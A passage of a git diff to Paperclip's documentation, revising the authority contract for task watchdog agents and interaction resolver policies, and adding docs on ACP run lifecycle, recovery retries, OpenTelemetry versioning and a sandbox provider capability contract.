prompt. Neither surface may enable or disable a control on its own authority.
Every resolution remains company-scoped, run-attributed for agent actors,
low-trust/task-bridge contained, target-current, and exact-once. Target staleness,
supersession, continuation idempotency, and activity attribution remain mandatory.
An open audience is not an uncapped one: when an agent run resolves an interaction
on an issue other than its own source issue, the resolution is a cross-issue
mutation and consumes the per-run cross-issue influence budget in §9.3, charged
after audience authorization and before the interaction mutation, child tasks,
continuation, tool action, or wake. Same-issue resolutions and board/user
resolutions are outside that counter.
Accepting or answering an interaction records a response only: suggested-task
creation, provider/tool calls, deployment, spend, hiring, secrets, execution-policy
decisions, and every other downstream effect must re-run its own authorization and
approval checks. Mislabeling a governed action as an open interaction grants no
downstream capability.
## 9.9 Task Watchdog Authority Contract
A task watchdog is a scoped execution capacity for a configured watchdog agent on one watched issue subtree. It is not a separate principal, does not inherit board auth, and does not expand the selected agent's company boundary. The server must enforce the watchdog contract from persisted watchdog configuration and run context; custom instructions and prompt text can narrow the mandate but cannot expand it.
@@ -675,7 +746,8 @@ Within the watched subtree, a watchdog run may perform only mutations that resto
- reopen `done` or `cancelled` included issues only with explicit resume metadata and an audit comment when evidence shows the stopped disposition is wrong or incomplete
- add, replace, or clear blockers on included issues when the blocker target is in the same company and the change makes the waiting path more accurate
- set or refresh a one-shot monitor on an included issue when the current assignee owns the future check
- accept or reject eligible task-level plan confirmations as defined below
- resolve issue-thread interactions through the ordinary resolver-audience path
when the watchdog agent otherwise has issue access and the effective policy allows it
- update the reusable watchdog issue itself to `done`, `in_review`, or `blocked` with the evidence for the watchdog decision
Every watchdog-triggered mutation must write activity with the watchdog id, source issue id, watchdog issue id when present, run id, and stop fingerprint. Mutations still use the normal status-transition, blocker, assignment, budget, and company-boundary guards.
@@ -713,19 +785,18 @@ When the safe next action needs one of these disallowed mutations, the watchdog
### Interaction resolution
The initial V1 watchdog resolver may resolve exactly one interaction family: `request_confirmation` interactions that are eligible task-level plan confirmations. The watchdog may accept a coherent eligible plan or reject/request changes with a reason. It may not resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, board approvals, or ad hoc document comments.
A task-watchdog run has no special resolver audience, plan-purpose marker, or
interaction-kind allowlist. The task-watchdog context neither widens nor
categorically removes the selected agent's ordinary interaction authority. The
same evaluator used for every agent applies `anyone`, `not_creator`, `human_only`,
named-addressee, company-cap, company-boundary, run-attribution, low-trust,
task-bridge, target-staleness, and exact-once checks.
A plan confirmation is eligible only when all of these are true:
- the interaction is pending and belongs to an issue inside the watched subtree, excluding the reusable watchdog issue and its descendants
- the interaction target is an `issue_document` with key `plan` on that same issue, and the target revision is still current
- the interaction has an explicit plan-approval purpose marker; title text, body prose, or idempotency key shape alone is not enough
- accepting the plan authorizes decomposition or task-level continuation inside the watched subtree only
- the plan does not request hiring, budget/spend approval, secret access, production deployment, security-sensitive policy changes, legal/compliance decisions, destructive data changes, cross-company work, or any other board-only governed action
- no newer board/user comment, document revision, superseding interaction, custom instruction, or issue policy reserves the decision for a human, CTO, Security, or the board
- the plan names concrete child/follow-up work, owners or assignee selection criteria, dependencies/blockers, and acceptance criteria clearly enough that decomposition can proceed without further judgment
If any condition fails, the watchdog must not accept the interaction. It should reject with a reason when the plan is clearly invalid, or leave/escalate the decision when the right owner is a board user, CTO, Security, or another typed approver.
Resolving an interaction does not authorize its downstream effect. In particular,
an accepted plan still passes normal decomposition/idempotency checks, and a
governed action still requires its own typed reviewer, permission, or formal
approval. A watchdog may not use an open coordination response to bypass any item
in the disallowed-mutations list above.
### Downstream acceptance criteria
@@ -734,8 +805,8 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
- server tests deny cross-company watched issues, watchdog agents, watchdog issues, blockers, interactions, and assignment targets
- server tests deny paused, terminated, pending-approval, budget-blocked, or otherwise uninvokable watchdog agents
- watchdog-scoped mutations can touch only the watched subtree and the reusable watchdog issue, with activity records for each mutation
- interaction tests prove only eligible `request_confirmation` plan confirmations are accepted or rejected, and all other interaction kinds remain unavailable to watchdogs
- plan-confirmation tests cover stale document revisions, missing purpose markers, outside-subtree targets, governed actions, newer user comments, and explicit human/CTO/Security reservations
- interaction tests prove watchdog runs use the same resolver policy as ordinary agents, without a watchdog-only kind or purpose-marker exception
- interaction tests cover `anyone`, `not_creator`, `human_only`, named addressees, company caps, stale targets, governed actions, newer user comments, low-trust/task-bridge containment, and cross-company denial
- scheduler tests prove live runs, queued wakes, and scheduled retries suppress watchdog wakeups, while terminal, cancelled, blocked, and review leaves are still verified when the subtree has no live path
- tests prove `task_watchdog` origin issues and descendants are excluded from scans so watchdogs do not trigger themselves
- recovery-batch tests prove batches are capped at 3 allowed mutations, applied all-or-nothing, and aborted with recorded evidence when the observed stop fingerprint went stale mid-batch
@@ -745,7 +816,7 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
- prompt/context tests prove custom instructions are appended after non-overridable safety constraints and cannot expand authority
- QA validates a full create/edit/remove/run/reuse flow with screenshots for UI changes
No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: resolving interaction kinds beyond eligible plan confirmations, letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion requires a new product/security review.
No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion of those capabilities requires a new product/security review.
## 9.10 Company Skill Policy Contract
@@ -1033,7 +1104,7 @@ Dashboard payload must include:
The current app also exposes V1-supporting surfaces for:
- company-scoped summary slots for projects, the workspaces overview, project workspaces, and individual execution workspaces; execution-workspace slots are keyed by execution workspace id so a new workspace never inherits another workspace's summary
- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`)
- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`, `request_checkbox_confirmation`, `request_item_verdicts`) with the open-default resolver contract in §9.8.1
- issue approvals, issue references/search, labels, read state, inbox/archive state, and work products
- company search through `GET /companies/:companyId/search` plus agent-oriented bulk extraction through
`GET /companies/:companyId/search/extract`; extraction accepts a server-escaped literal `contains`, optional
@@ -1247,7 +1318,7 @@ Required UX behaviors:
## 15.1 Environment
- Node 20+
- Node 24.11+
- `DATABASE_URL` optional
- if unset, auto-use embedded PostgreSQL under `~/.paperclip/instances/default/db`
+7 -7
View File
@@ -101,17 +101,17 @@ On wake, the watchdog agent reads a fixed default mandate plus your custom instr
- Treat every stopped leaf as a **claim** that must be verified against comments, documents, work products, screenshots, tests, blockers, and review state. Do not accept "I could not" or "waiting for approval" as automatically valid.
- Leave genuinely-complete leaves alone, with a short note on what was checked.
- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or accept an eligible task-level plan confirmation.
- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or resolve an interaction that the ordinary agent audience permits.
- If the blocker is real, leave a valid waiting disposition that names the unblock owner and the next action.
The mandate also enforces safety constraints that custom instructions **cannot override**:
- Stay inside the watched subtree. No cross-company mutations, no mutations outside the watched issue and its non-watchdog descendants.
- No impersonating board-only approvals, accepting spend or hiring decisions, accepting security-sensitive interactions, or bypassing execution-policy stages that require a typed reviewer or approver.
- No impersonating formal approvals, accepting spend or hiring decisions, using an interaction response as downstream authority, or bypassing execution-policy stages that require a typed reviewer or approver.
- No creating another watchdog for the watched subtree. No waking itself. Exactly one reusable review task per watched issue.
- Custom instructions can narrow focus or veto specific shortcuts. They cannot grant authority the server does not already give the watchdog.
The formal authority contract (the full list of allowed and disallowed mutations, and the eligibility test for accepting plan confirmations) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §9.9.
The formal authority contract (the full list of allowed and disallowed mutations, plus the ordinary interaction resolver contract) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §§9.8.1–9.9.
### Writing custom instructions
@@ -119,11 +119,11 @@ Custom instructions are most useful when they tell the watchdog what evidence to
> Before accepting any leaf as done, check that there is a corresponding green CI run linked in the comments. If there isn't, reopen the leaf and ask for one.
> Do not accept a `request_confirmation` plan that proposes more than five subtasks without first asking me to review. Leave the issue in review and ping me.
> When an interaction is `not_creator` or `human_only`, preserve that restriction. Do not treat the watchdog role as an override.
> If a leaf is blocked on the marketing team, accept the wait but make sure the unblock owner is named in the blocker reason.
What custom instructions cannot do: grant authority outside the watched subtree, approve board-level decisions, expand the interaction kinds the watchdog can resolve, or override safety constraints. The server enforces this regardless of what the instructions say.
What custom instructions cannot do: grant authority outside the watched subtree, approve formal governance decisions, widen an interaction's resolver audience, or override safety constraints. The server enforces this regardless of what the instructions say.
---
@@ -133,7 +133,7 @@ Every watchdog-originated mutation is gated by a server-side scope check derived
- mutations on issues outside the watched subtree (parent-chain walk, depth-limited)
- mutations on issues whose company id does not match the watchdog's company
- attempts to resolve interactions other than eligible task-level `request_confirmation` plan confirmations (see SPEC §9.9 for eligibility)
- interaction resolution outside the ordinary effective audience, named addressee, company/issue scope, run-attribution, low-trust/task-bridge, target-staleness, or exact-once checks
- changes to the watchdog configuration itself (a watchdog cannot edit its own row or create another watchdog)
- direct edits to active-run output or execution-policy decisions that require a typed participant
@@ -165,7 +165,7 @@ It is **not** the right tool for:
- monitoring a single running process for silence — that is the silent active-run watchdog, automatic, no configuration
- liveness recovery on stalled agent-owned issues without an explicit recovery surface — that is automatic too
- board-level approvals or anything security-sensitive — the watchdog cannot resolve those
- formal approvals or security-sensitive downstream actions — an interaction response cannot authorize those
- replacing a human reviewer on a typed execution-policy stage — the watchdog cannot bypass typed participants
If what you actually want is "wake me when this is done," use a routine or an issue-thread interaction with `continuationPolicy: wake_assignee`, not a watchdog.
+101
View File
@@ -0,0 +1,101 @@
# ACP run lifecycle
This document describes how one ACP agent run starts, runs its turn, and releases
its resources. It covers the run coordinator, the six run resources, the
settlement order, the server-owned staging lease, and the known limitations.
## The run coordinator
One `run()` coordinator owns one attempt. It sequences four steps in a fixed
order:
1. **Startup.** Bring up the runtime and establish the session.
2. **Turn.** Run the agent turn against the ready runtime.
3. **Settlement.** Release every resource the run acquired.
4. **Result reproduction.** Return the external result to the caller.
The coordinator holds the routing table as data. It reads the startup outcome and
routes on it:
- A build failure or a partial-bridge failure throws from startup. The coordinator
replays the startup-rollback entries and rethrows the original error.
- A runtime-create, handshake, missing-handle, or configuration failure produces a
settle result. The coordinator settles the resources, then reproduces the error
result.
- Every other startup outcome produces a ready result. The coordinator runs the
turn, settles the resources, then reproduces the turn result.
The coordinator has no catch around the turn: the turn never rejects and returns a
typed completion. The coordinator reproduces the external result AFTER settlement,
so a caller never observes a result before the run releases its resources.
## The six run resources
A run resource ledger holds the resources between acquisition and settlement. The
ledger is the single owner. The closed set of run resources is:
- `acp_runtime` — the composite of the runtime, the session handle, and the child
process. `runtime.close()` is the one release boundary for all three.
- `staged_runtime` — the workspace and the runtime staged into the sandbox, plus
the one-time host-side cleanup of the staged temporary files.
- `control_bridge` — the control-plane callback bridge.
- `agent_bridge` — the agent process-session bridge.
- `managed_home` — the per-run managed-home copy-back hook.
- `staging_lease` — the per-session staging lease.
The host lane acquires only `acp_runtime`. The sandbox lane also acquires the
staging and transport resources. Each resource enters the ledger the moment it
exists, so the settlement always closes it, even on an early failure.
## The settlement order
The settlement sequence is the one live cleanup owner for every settled path. It
claims the ledger once, makes the pure reuse decision, then runs the ordered
steps:
1. `end_session` — close every runtime the reuse decision did not transfer, and
drop the warm entry when it closes.
2. `settle_reuse` — perform the decision. A save transfers the reuse candidate to
the site store; every other case discards it.
3. `stop_transport` — stop both bridges in one settled batch.
4. `sync_back` — run the site sync-back (the managed-home copy-back).
5. `release_staging_lease` — release the staging lease last (see below).
An error policy governs every step: a step records its error, and the later steps
still run. Every step is a no-op on an empty resource slot.
The reuse decision is pure and runs before any close. A save is eligible only when
a candidate exists, the settlement cause permits a save, and no run-scoped
credential that the candidate would carry into the store remains valid.
## The server-owned staging lease outer context
The staging lease is a per-session lease. Only one run of a session may stage into
the same remote workspace at a time. A second run of the same session waits on the
lease until the first run releases it.
The lease releases as the run's final act, after the coordinator settles every
other resource AND reproduces the result. This ordering keeps a same-session
second run blocked on the lease until the first run fully returns, so the second
run never re-stages into a workspace the first run still uses. The release runs in
a `finally`, so an earlier teardown fault never strands the lease.
## Per-phase telemetry
The run emits one telemetry event per named lifecycle phase. Each event carries
only the phase name, the wall-time duration, and the outcome (`ok` or `failed`).
The phase name is one member of a closed allowlist. An event never carries a
command, an argument, a path, an environment value, or a raw identifier. A
telemetry failure never fails the run.
## Known limitations and deferred work
- **Host-lane runtime reuse is disabled.** A run-minted API key is a stateless
token that the control plane never revokes on run end. A warm host runtime would
carry a still-valid credential into the next run. The host lane therefore closes
and relaunches on every run, rather than keeping the runtime warm, until a
run-scoped credential rebind protocol exists.
- **The sandbox staged-files reuse stays enabled.** Its reuse payload carries no
credential, so a compatible resume reuses the already-staged runtime.
- **The per-phase telemetry is observability-only.** It records the duration and
the outcome of each phase; it does not change run control flow.
+1 -1
View File
@@ -44,7 +44,7 @@ Hold every session to these five, regardless of size:
## Reviewing like a designer
- **Contact sheet**: the diff images under `tests/storybook-visual/test-results/` are your primary review surface; ask the agent to assemble them into a browsable before/after page (or use `npx playwright show-report` from `tests/storybook-visual/`).
- **Live test drive**: for big changes, ask for a running instance from the worktree — `pnpm paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
- **Live test drive**: for big changes, ask for a running instance from the worktree — `npx paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
- **Side-by-side Storybook**: old on one port, new on another (`pnpm storybook` in each checkout), flip tabs.
- Trust your eyes over the agent's summary. If something looks wrong, say so plainly ("the text in the red boxes is illegible") — vague feedback is fine, the screenshots give the agent the precision.
+50 -13
View File
@@ -1,7 +1,7 @@
# Execution Semantics
Status: Current implementation guide
Date: 2026-08-12
Date: 2026-08-18
Audience: Product and engineering
This document explains how Paperclip interprets issue assignment, issue status, execution runs, wakeups, parent/sub-issue structure, and blocker relationships.
@@ -152,6 +152,8 @@ Pre-dispatch configuration validation is a distinct gate that runs after ownersh
A configuration-incomplete result is a gate outcome, not a runtime failure. It is one of the active gates that a checkout-time or dispatch-time check can surface instead of starting a run, and it leaves the issue in an explicit waiting state that names the missing binding. Surfacing the blocker keeps the issue healthy under the liveness contract while preventing a run that is guaranteed to fail once it cannot resolve its required secret/env bindings. A dispatched-then-failed run is the wrong shape for missing configuration: the missing binding is a known pre-dispatch condition, so the control plane must surface it as a configuration-incomplete blocker rather than letting the run start and then fail.
An unresolved workspace base ref is another configuration-incomplete condition. A `git_worktree` workspace bases a fresh worktree on a configured base ref. Paperclip first fetches a remote-only ref before dispatch: it maps an unqualified name (for example `fix/foo`) or a remote-tracking name (for example `origin/fix/foo`) to `origin/<branch>`, runs the authenticated fetch, and re-checks the commit. A ref that resolves lets work continue on the resolved commit. A ref that is still unresolvable after the fetch produces a configuration-incomplete blocker that names the requested ref, rather than a dispatched-then-failed run. Because the adapter never started, Paperclip queues no missing-comment retry. The recovery action dedupes by the canonical remote ref (`origin/<branch>`), not the operator spelling. Two equivalent spellings of one remote branch, for example `fix/foo` and `origin/fix/foo`, share one recovery identity, so a repeated failure reuses the active action and does not reset the attempt count or post a second notice. A different remote branch is a distinct blocker. Paperclip resolves the prior recovery action, creates a new action for the new ref, and notifies the operator with the new ref instead of overwriting the active action of the prior ref.
## 6. Parent/Sub-Issue vs Blockers
Paperclip uses two different relationships for different jobs.
@@ -431,6 +433,8 @@ A valid recovery action must name:
A source-scoped recovery action is the default form. Use it when the next safe move is to repair the source issue's liveness directly: move the source issue back to `todo` so it can be retried, clarify disposition, re-establish a monitor, record a false positive, or delegate real follow-up work from the source issue.
Recovery-action ownership and source-task ownership are separate contracts. Assigning a manager or board owner to a recovery action authorizes that owner to repair or route the recovery action; it does not write that owner into the source issue's `assigneeAgentId`. Automatic retry and escalation preserve the source assignee. Reassignment requires an explicit source-task decision or a policy-defined serious-failure path, with the normal company, authorization, budget, checkout, active-run-lock, governed-action, and activity-log checks.
Use an issue-backed recovery action only when the recovery is genuinely independent work or when source-scoped handling would be unsafe or unclear. Examples include:
- long or cross-agent repair work with its own assignee, subtasks, or blockers
@@ -591,7 +595,13 @@ A continuation that the staleness gate cancelled with `issue_continuation_waitin
Recovery rule for a parked-for-review continuation:
- if the issue has a real waiting target — open (non-terminal) sub-tasks or existing unresolved blockers — Paperclip converts the deliberate wait into a first-class dependency wait: it sets the issue `blocked` by those issues, keeps the original assignee, and posts a plain-language comment explaining that the task will resume automatically when its dependencies finish. The issue then self-resumes through the normal `issue_blockers_resolved` path; no recovery action or escalation owner is involved
- if the issue has no waiting target, the park is indistinguishable from a genuine strand and falls through to the standard §9.2 escalation, preserving stranded detection
- if the issue has no current typed waiting target and the original owner is invokable, Paperclip classifies it as `deliberate_wait_without_target` and gives that owner five normal-model disposition-repair attempts: immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter on delayed attempts
- before every attempt, Paperclip revalidates unresolved blockers and children, interactions, linked approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, and budget or governance gates. Any real live or waiting path suppresses the retry
- the retry bound is keyed by an idempotent durable source-state fingerprint. Comments, repeated parked summaries, and equivalent prose do not reset it. Durable changes such as source status or assignee changes, dependency or interaction changes, approval or execution-policy changes, monitor changes, or work-product changes may create a new fingerprint
- on upgrade, consecutive historical `issue_continuation_waiting_on_review` cancellations for the same accepted interaction and still-unchanged durable source state seed this same counter. Five applicable pre-upgrade parks therefore exhaust the ceiling immediately; the absence of a historical `deliberate_wait_without_target` recovery-action row does not grant five new attempts
- the action persists the unchanged fingerprint, source-attempt count, due time, source owner, and return owner. Startup and periodic reconciliation reuse that state, fold the action when a current typed wait appears, and reschedule or escalate an expired attempt that has no live scheduled run. Idempotency keys prevent a restart from creating duplicate wakes or scheduled runs
- after five attempts with the same fingerprint, Paperclip opens one separate source-scoped manager recovery action. The manager owns only path repair; the source assignee remains unchanged. The manager gets five separate attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule before exhaustion escalates visibly to the board
- a recovery action is a healthy wait only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation. Source liveness and every blocker-chain projection use that same nested result
An accepted interaction supersedes a continuation park recorded before that acceptance. A queued continuation carrying a parseable `interactionResolvedAt` must not be cancelled solely because an older continuation summary says to wait for review or approval. Interaction-continuation recovery is bounded: after three consecutive continuation wakes are cancelled without a run starting, recovery converts a real dependency wait when one exists or escalates the missing execution path visibly instead of requeueing forever.
@@ -617,6 +627,28 @@ On startup and on the periodic recovery loop, Paperclip now does five things in
The stranded-work pass closes the gap where issue state survives a crash but the wake/run path does not. The silent-run scan covers the separate case where a live process exists but has stopped producing observable output. The productivity-review pass is later and separate; it reviews unusual progression patterns on assigned source issues, not stale run handles after a source issue already has a valid disposition.
### Issue-thread interaction resolution
Every issue-thread interaction kind inherits resolver policy `anyone` when the
creator omits a policy. `anyone` includes the creator agent and creating run.
Callers opt into independent review with `not_creator` or human resolution with
`human_only`; a named addressee and company cap may narrow the effective audience.
The legacy input aliases `board_or_agents` and `board_only` normalize to `anyone`
and `human_only` for new writes.
Resolver policy is snapshotted with explicit/inherited provenance and an effective
source (`requested`, `company_cap`, or `governed_action`). Existing ambiguous
legacy rows are marked `legacy_inherited_restriction` and retain their old
restriction: `board_or_agents` becomes `not_creator`, not `anyone`, while
`board_only` becomes `human_only`. Pending cards are never silently widened.
Resolution is exact-once and requires issue access in the same company. Agent
resolution also requires valid run attribution and remains subject to low-trust
and task-bridge containment. Target freshness and supersession are checked before
the outcome commits. Resolution records an answer; every continuation, task
creation, tool/provider call, execution-policy transition, spend, deployment, or
other effect independently re-runs its own authorization and approval gates.
## 11. Task Watchdog for Issue Trees
A task watchdog watches a configured issue subtree after that subtree has stopped moving. It is a product-level verification and recovery mechanism for selected work, not a process monitor.
@@ -665,13 +697,13 @@ When the source issue is non-terminal and has no other live path, the product sh
### Watchdog authority during execution
The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or beyond the allowed mutation and interaction list.
The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or widen an interaction's ordinary effective audience.
Watchdogs must not create visible probe issues, comments, or throwaway tasks to discover capability boundaries. They should rely on the wake capability metadata and explicit API denials, then record any denied operation as evidence in the reusable watchdog issue.
The watchdog should verify stopped leaves against comments, documents, work products, tests, screenshots, blockers, review state, and run context. It should not accept "I could not" or "waiting for approval" as sufficient by itself.
When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an eligible plan confirmation. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an interaction that its ordinary agent audience permits. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
### Atomic recovery batch
@@ -679,16 +711,19 @@ Restoration is often more than one write — reopen the dead-end leaf **and** ex
This preserves the stale-guard's purpose — never keep mutating a subtree that just went live under the watchdog's feet — while removing the failure mode where spending the only permitted write on an informational comment forfeits the state-restoring mutation the recovery actually needed.
### Eligible interaction decisions
### Interaction decisions
A task watchdog may resolve only eligible `request_confirmation` plan confirmations. Eligibility is defined in `doc/SPEC-implementation.md` and must be checked by the server at decision time. The critical constraints are:
A task watchdog is an ordinary agent for interaction resolution. Its watchdog
context provides no special audience, plan-purpose marker, or kind allowlist, and
it is not a categorical denial. The normal evaluator checks the effective policy,
named addressee, company and issue scope, run attribution, low-trust/task-bridge
containment, target freshness, and exact-once state.
- the interaction is pending, targeted at the current `plan` document revision for an included subtree issue, and explicitly marked as a plan-approval confirmation
- accepting it authorizes only decomposition or task-level continuation inside the watched subtree
- the plan is not asking for board-only governance, spend, hiring, security, deployment, secret, destructive data, legal/compliance, cross-company, or other sensitive approval
- no newer durable source activity or policy reserves the decision for a human, CTO, Security, or the board
The watchdog cannot resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, execution-policy decisions unless it is the typed participant outside watchdog capacity, or document comments written as freeform approval.
This does not give a watchdog downstream authority. Linked/formal approvals remain
separate, execution-policy decisions still require the typed participant, and an
accepted interaction cannot authorize spend, hiring, secrets, deployment,
destructive data changes, cross-company work, or any mutation the watchdog scope
otherwise forbids.
### Completion and fingerprint updates
@@ -797,6 +832,8 @@ Examples:
The recovery action stays source-scoped by default. The source issue should show the recovery owner, cause, evidence, next action, and wake or monitor policy in its own thread/detail surface.
The recovery owner owns the repair action, not the source deliverable. Manager escalation must preserve the source issue assignee unless an operator makes an explicit reassignment decision or an applicable serious-failure policy authorizes transfer.
Create an issue-backed recovery action only when a separate issue is the right execution object. In that fallback form, the source issue remains visible and is blocked on the recovery issue when blocking is necessary for correctness. The recovery owner must restore a live path, resolve the source issue manually, delegate real follow-up work, or record the reason the signal is a false positive.
Instance-level issue-graph liveness auto-recovery is disabled by default. When enabled, its lookback window means "dependency paths updated within the last N hours"; older findings remain advisory and are counted as outside the configured lookback instead of creating recovery actions automatically. This is an operator noise control, not the older staleness delay for determining whether a chain is old enough to surface.
@@ -826,7 +863,7 @@ Paperclip still does not:
The recovery model is intentionally conservative:
- preserve ownership
- retry once when the control plane lost execution continuity
- use the cause-specific bound when the control plane lost execution continuity; deliberate waits without a target use five fingerprinted original-owner disposition repairs
- open an explicit recovery action when the system can identify a bounded recovery owner/action
- escalate visibly when the system cannot safely keep going
+25
View File
@@ -60,6 +60,31 @@ export OTEL_SERVICE_NAME="paperclip"
export OTEL_SERVICE_VERSION="2026.5.0"
```
### `service.version` resolution order
The `service.version` span attribute reports the commit the running server was
built from. The server resolves it in this order and uses the first source that
returns a value:
1. **The build stamp.** The server `build` script writes the commit SHA into
`dist/build-info.json`. The stamp wins so the reported version tracks the
true built commit and cannot go stale across rebuilds. The build script
reads the commit from `git rev-parse --short HEAD` first. A Docker image
build excludes `.git`, so the build script reads the `PAPERCLIP_BUILD_COMMIT`
environment variable instead. Pass the built commit in that variable so the
image stamp records the true commit.
2. **A runtime `git rev-parse --short HEAD`.** This covers `tsx src/index.ts`
dev mode, where the server runs from the source checkout and writes no
stamp. A failure here is not fatal.
3. **The `OTEL_SERVICE_VERSION` environment variable.** This is the fallback
for a build with no stamp and no reachable git — for example a tarball
build. `OTEL_SERVICE_VERSION` is a Paperclip-specific variable, not an
OpenTelemetry SDK variable, so Paperclip controls this precedence.
4. **`"unknown"`** when no source returns a value.
The server logs the resolved `service.version` once at startup, so an operator
can confirm the value.
If `OTEL_EXPORTER_OTLP_PROTOCOL` is set to an unrecognized value, Paperclip
logs a single warning and falls back to gRPC.
+1 -1
View File
@@ -11,7 +11,7 @@ pause controls, and consistent audits instead of hidden daemon behavior.
## Prerequisites
- Node.js 22+ and `pnpm`.
- Node.js 24.11+ and `pnpm`.
- A local Paperclip checkout you can run from source. Local plugin installs read source from disk, so the running server must be able to see the path you give it.
## The five steps
+11 -6
View File
@@ -245,10 +245,10 @@ This on-disk model is the reason the current implementation expects a persistent
Paperclip should add CLI commands:
- `pnpm paperclipai plugin list`
- `pnpm paperclipai plugin install <package[@version]>`
- `pnpm paperclipai plugin uninstall <plugin-id>`
- `pnpm paperclipai plugin upgrade <plugin-id> [version]`
- `pnpm paperclipai plugin doctor <plugin-id>`
- `npx paperclipai plugin install <package[@version]>`
- `npx paperclipai plugin uninstall <plugin-id>`
- `npx paperclipai plugin upgrade <plugin-id> [version]`
- `npx paperclipai plugin doctor <plugin-id>`
These commands are instance-level operations.
@@ -395,6 +395,11 @@ Rules:
- `projects` → `projects.managed`
- `routines` → `routines.managed`
- `skills` → `skills.managed`
- an `environmentDrivers` entry with `kind: "sandbox_provider"` declares sandbox
capabilities through `sandboxCapabilities`. See the
[sandbox provider capability contract](./SANDBOX_PROVIDER_CAPABILITIES.md) for
the supported keys, the worker-method prerequisites, and the narrowing and
failure rules.
## 11. Agent Tools
@@ -1512,7 +1517,7 @@ When a plugin is uninstalled, the host must handle plugin-owned data explicitly.
3. Plugin-owned data (`plugin_state`, `plugin_entities`, `plugin_jobs`, `plugin_job_runs`, `plugin_webhook_deliveries`, `plugin_config`) is retained for a configurable grace period (default: 30 days).
4. During the grace period, the operator can reinstall the same plugin and recover its state.
5. After the grace period, the host purges all plugin-owned data for the uninstalled plugin.
6. The operator may force-purge immediately via CLI: `pnpm paperclipai plugin purge <plugin-id>`.
6. The operator may force-purge immediately via CLI: `npx paperclipai plugin purge <plugin-id>`.
### 25.2 Upgrade Data Considerations
@@ -1676,7 +1681,7 @@ expect(data.syncedCount).toBeGreaterThan(0);
For developing a plugin against a running Paperclip instance:
- The operator installs the plugin from a local path: `pnpm paperclipai plugin install ./path/to/plugin`
- The operator installs the plugin from a local path: `npx paperclipai plugin install ./path/to/plugin`
- The host watches the plugin directory for changes and restarts the worker on rebuild.
- `devUiUrl` in plugin config can point to a local Vite dev server for UI hot-reload.
- The plugin settings page shows real-time logs from the worker for debugging.
@@ -0,0 +1,180 @@
# Sandbox provider capability contract
A sandbox provider plugin declares an environment driver with
`kind: "sandbox_provider"`. Each driver can declare a set of optional sandbox
capabilities. This document is the contract for a third-party provider author.
It states what to declare, which worker methods each capability needs, what an
omitted key means, and when the host narrows or denies a capability.
Read [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md) for the
native file-transfer hooks. Read the driver declaration shape in
[the plugin specification](./PLUGIN_SPEC.md).
## How the host resolves an effective capability
The host never trusts a declaration alone. For every run it resolves each
capability as the intersection of three inputs:
```
effective = verified ∩ declared ∩ narrowing
```
- **verified** — the methods the live worker advertised in
`InitializeResult.supportedMethods`. The host maps each capability to the
worker methods it needs (see the table below). A capability is verified only
when the worker advertises every required method. An empty or missing method
list verifies nothing, so every capability resolves `false`.
- **declared** — the values in the driver declaration. A declared key is
optional (see the next section).
- **narrowing** — a per-run restriction from the lease policy or the resolved
provider config. A narrowing can only remove a capability, never add one.
A capability is effective only when all three allow it. A declaration therefore
never grants a capability that the worker did not verify.
## The declaration is optional and partial
Declare capabilities through the nested `sandboxCapabilities` object on the
driver declaration:
```ts
environmentDrivers: [
{
driverKey: "my-provider",
kind: "sandbox_provider",
displayName: "My Provider",
configSchema: { type: "object", properties: {} },
sandboxCapabilities: {
reusableLeases: true,
nativeSyncIn: true,
nativeSyncOut: true,
persistentProcessSessions: false,
independentControlCommands: false,
incrementalSessionOutput: false,
},
},
]
```
Every key is optional. For a valid, identified provider each key has one of three
states:
- **Omitted** — the host defers to verified worker discovery. The capability is
effective when the worker advertises the required methods and no narrowing
removes it. Omission is the correct default for a provider that follows the
standard method contract. `reusableLeases` and `incrementalSessionOutput` are
the two exceptions: an omitted key never grants either capability. Both are
opt-in (see the next two sections).
- **`false`** — the host narrows the capability to off. The capability is never
effective, even when the worker advertises the required methods.
- **`true`** — the host still requires the verified prerequisites. A `true`
